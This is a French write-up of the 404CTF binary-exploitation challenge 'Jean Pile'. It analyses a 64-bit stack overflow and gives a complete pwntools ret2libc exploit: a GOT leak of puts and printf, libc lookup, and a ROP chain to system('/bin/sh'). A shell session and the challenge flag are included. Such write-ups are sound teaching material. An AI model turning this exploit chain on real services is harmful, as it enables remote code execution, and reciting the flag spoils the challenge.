🇫🇷 404CTF - Jean Pile
Description
Catégorie: Exploitation de binaires
Cantine de la course annuelle du 404
Bienvenue à tous dans la course annuelle du 404CTF : c’est le jour J et sur place, un restaurant a été mis à la disposition des participants. C’est un certain Jean Pile qui en est le propriétaire et, ce qui est clair, c’est que ses choix pour le menu sont très bizarres :
1 pouler, 2 pouler, 3 pouler…
Comment allez-vous bien pouvoir lui soutirer des informations sur les autres candidats ?
Objectif: lire le fichier
flag.txt
Notez que l’ASLR est activé
Auteur: @Narcisse
Solution
La solution proposée ci-dessous n’est pas la solution prévue par l’auteur, cliquez ici pour avoir une idée de la solution prévue.
1. Analyse
On regarde les protections en place pour le binaire:
1
2
3
$ checksec --file=jean_pile
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 73 Symbols No 0 4 jean_pile
Plusieurs points intéressants:
NX
est desactivé donc on peut écrire un shellcode et l’exécuter;- Pas de
canary
donc pas besoin de leak des informations pour les buffer overflow; - Pas de
PIE
donc les adresses des fonctions du binaire ne seront pas aléatoires.
Puis on décompile le binaire avec dogbolt (voir ici).
On va principalement s’intéresser à la fonction service
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// DĂ©compiler avec Hex-Rays
char *service()
{
char *result; // rax
char s[40]; // [rsp+0h] [rbp-30h] BYREF
int v2; // [rsp+28h] [rbp-8h] BYREF
int i; // [rsp+2Ch] [rbp-4h]
puts("Voulez-vous commander un plat ou plus ?");
printf(">>> ");
fflush(stdin);
__isoc99_scanf("%d", &v2);
getchar();
if ( v2 == 1 )
{
puts("Choisissez un plat.");
printf(">> ");
result = fgets(s, 200, stdin);
if ( !result )
exit(-1);
for ( i = 0; i <= 199; ++i )
{
result = (char *)(unsigned __int8)s[i];
if ( (_BYTE)result == 10 )
{
result = (char *)i;
s[i] = 0;
}
}
}
else
{
puts("Choisissez un plat.");
printf(">> ");
if ( !fgets(s, 200, stdin) )
exit(-1);
for ( i = 0; i <= 199; ++i )
{
if ( s[i] == 10 )
s[i] = 0;
}
puts("Un nouveau serveur revient vers vous pour la suite de votre commande au plus vite.");
return (char *)service();
}
return result;
}
Le tableau s
a une taille de 40 octets mais on peut écrire jusqu’à 200 octets avec fgets(s, 200, stdin)
: on peut faire un buffer overflow.
Avec ce buffer overflow on peut écrire un shellcode mais il faut savoir à quelle addresse on l’a écrit pour l’exécuter car l’ASLR est activé. Dans notre cas, il y a aucun moyen de leak une adresse en lien avec l’adresse du shellcode dans la stack.
On pourrait faire un NOP sled mais le binaire est compilé en 64 bits ce qui rend cette attaque très difficile.
En me renseignant sur internet pour voir comment contourner l’ASLR en 64 bits je suis tombé sur ce guide: ret2plt ASLR bypass - ir0nstone et j’ai vu qu’il était possible de leak les adresses des fonctions de libc.
2. ret2libc en local
En suivant le guide, je suis maintenant capable de leak n’importe quelle fonction de libc qui est utilisée dans le binaire.
Toutefois, aucun libc n’a été fourni avec le challenge mais je décide tout de même de faire un ret2libc vu que c’était la seule idée qu’il me restait.
Mon but est donc d’appeler system
pour obtenir un shell mais system
n’a jamais été utilisé dans le binaire, donc on doit trouver son adresse.
Je commence par leak l’adresse de puts
pour pouvoir ensuite calculer l’adresse de base de libc (de ma machine en local):
1
2
3
4
5
6
7
8
9
p.sendline(b'1')
rop = ROP(elf)
rop.puts(elf.got['puts'])
payload = flat(
cyclic(56),
rop.chain(),
elf.sym['service']
)
p.sendline(payload)
Comment ça marche ?
- Vu que
puts
est utilisé dans le binaire on connait son adresse mais ce n’est pas celle dans libc mais dans le binaire. - On utilise ici
puts
pour afficher l’adresse pointée pargot['puts']
. - Pour résumer rapidement, le GOT (Global Offset Table) est un tableau qui stocke les adresses des fonctions de libc utilisées par le binaire directement dans le binaire.
- Donc en appelant
puts(got['puts'])
on va afficher l’adresse deputs
dans la libc.
J’obtiens bien l’adresse de puts
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Bienvenue dans la cantine de la fameuse course annuelle du 404 ctf !
_
.-. .--''` )
_ | |/` .-'`
( `\ /`
_) _. -'._
/` .' .-.-;
`).' / \ \
(`, \_o/_o/__
/ .-''` ``'-.
{ /` ,___.--''`
{ ; '-. \ \
_ _ { |'-....-`'.\_\ =============menu=============
/ './ '. \ \ `"` | |
_ \ \ | \ \ | 1 pouler |
( '-.J \_..----.._ __) `\--..__ | 2 pouler |
.-` ` `\ ''--...--. | 3 pouler |
(_,.--`/` .- `\ .__ _) | |
| ( } .__ _) ==============================
\_, '. }_ - _.'
\_, '. } `'--'
'._. ,_) /
| / .'
\ | _ .-'
\__/;--.||-'
_|| _||__ __
_ __.-` "`)(` `" ```._)
(_`,- ,-' `''-. '-._)
( ( / '.__.'
`"`'--'"
Voulez-vous commander un plat ou plus ?
>>> Choisissez un plat.
>> \xd0gE\xebommander un plat ou plus ?
Voulez-vous commander un plat ou plus ?
>>> $
Avec ça je peux calculer l’adresse de base de libc et ainsi avoir l’adresse de system
:
1
2
3
4
5
p.recvuntil(b'Choisissez un plat.\n>> ')
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'puts leaked: {hex(puts_addr)}')
libc.address = puts_addr - libc.sym['puts']
Avec l’addresse de system
je peux maintenant obtenir un shell en appelant system('/bin/sh')
:
1
2
3
4
5
6
7
8
9
p.sendline(b'1')
payload = flat(
cyclic(56),
p64(0x0000000000400646), # ret ==> éviter les problèmes d'alignement
p64(0x0000000000400b83), # pop rdi; ret ==> mettre '/bin/sh' dans rdi (premier argument de system)
next(libc.search(b'/bin/sh\x00')),
p64(libc.sym['system']), # ==> Appeler system
)
p.sendline(payload)
J’obtiens bien un shell en local mais la version de libc de ma machine n’est pas la même que celle sur le serveur et donc l’attaque ne marche pas.
3. ret2libc sans libc
Arrivé jusqu’ici, j’ai un exploit qui marche à condition de connaître le libc utilisé sur le serveur.
La suite n’est pas compliquée car il suffirait de bruteforce avec toutes les versions de libc jusqu’à tomber sur la bonne.
Mais il est possible de savoir la version de libc en fonction des adresses de ses fonctions avec libc.rip:
Juste avec une adresse, j’ai limité le nombre de libc à tester à 3.
Il suffit donc de leak des fonctions en plus jusqu’à qu’il reste une seule version possible de libc.
Je leak donc une fonction en plus, par exemple printf
:
1
2
3
4
5
6
7
8
9
10
11
12
13
p.sendline(b'1')
rop = ROP(elf)
rop.puts(elf.got['printf'])
payload = flat(
cyclic(56),
rop.chain(),
elf.sym['service']
)
p.sendline(payload)
p.recvuntil(b'Choisissez un plat.\n>> ')
printf_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'printf leaked: {hex(printf_addr)}')
Sur pwntools, il existe une fonction qui permet de télécharger libc directement en fonction des adresses des fonctions:
1
2
3
4
5
# Téléchager le bon libc
libc_filename = libcdb.search_by_symbol_offsets({'puts': puts_addr, 'printf': printf_addr}, select_index=1)
libc = ELF(libc_filename)
# Mettre Ă jour son adresse de base
libc.address = puts_addr - libc.sym['puts']
Maintenant on peut effectuer l’exploit sur le serveur sans même connaître la version du libc:
1
2
3
4
5
6
7
8
9
p.sendline(b'1')
payload = flat(
cyclic(56),
p64(0x0000000000400646), # ret ==>
p64(0x0000000000400b83), # pop rdi; ret
next(libc.search(b'/bin/sh\x00')),
p64(libc.sym['system']),
)
p.sendline(payload)
Et on peut lire le flag après avoir obtenu un shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ python3 jean_pile_solve.py
[*] '/home/michel/Downloads/404ctf/jean_pile'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
[+] Opening connection to challenges.404ctf.fr on port 31957: Done
[*] Loaded 14 cached gadgets for '/home/michel/Downloads/404ctf/jean_pile'
[+] puts leaked: 0x7f63c5b8f980
[+] printf leaked: 0x7f63c5b6a5b0
[*] Using cached data from '/home/michel/.cache/.pwntools-cache-3.12/libcdb/build_id/6e0c484b6672bb6b42112466aea15108bd557d06'
[*] '/home/michel/.cache/.pwntools-cache-3.12/libcdb/build_id/6e0c484b6672bb6b42112466aea15108bd557d06'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
Voulez-vous commander un plat ou plus ?
>>> Choisissez un plat.
>> $ ls
flag.txt
jean_pile
$ cat flag.txt
404CTF{f4n_2_8denn3u}
Flag: 404CTF{f4n_2_8denn3u}
Code complet:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.binary = elf = ELF("jean_pile")
# p = gdb.debug(elf.path, gdbscript='continue')
# p = process()
p = remote("challenges.404ctf.fr", 31957)
p.sendline(b'1')
rop = ROP(elf)
rop.puts(elf.got['puts'])
payload = flat(
cyclic(56),
rop.chain(),
elf.sym['service']
)
p.sendline(payload)
p.recvuntil(b'Choisissez un plat.\n>> ')
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'puts leaked: {hex(puts_addr)}')
p.sendline(b'1')
rop = ROP(elf)
rop.puts(elf.got['printf'])
payload = flat(
cyclic(56),
rop.chain(),
elf.sym['service']
)
p.sendline(payload)
p.recvuntil(b'Choisissez un plat.\n>> ')
printf_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'printf leaked: {hex(printf_addr)}')
libc_filename = libcdb.search_by_symbol_offsets({'puts': puts_addr, 'printf': printf_addr}, select_index=1)
libc = ELF(libc_filename)
libc.address = puts_addr - libc.sym['puts']
p.sendline(b'1')
payload = flat(
cyclic(56),
p64(0x0000000000400646), # ret
p64(0x0000000000400b83), # pop rdi; ret
next(libc.search(b'/bin/sh\x00')),
p64(libc.sym['system']),
)
p.sendline(payload)
p.interactive()
p.close()
4. La vraie solution
Crédit à @Lowengeist, @V0odOo et @Narcisse: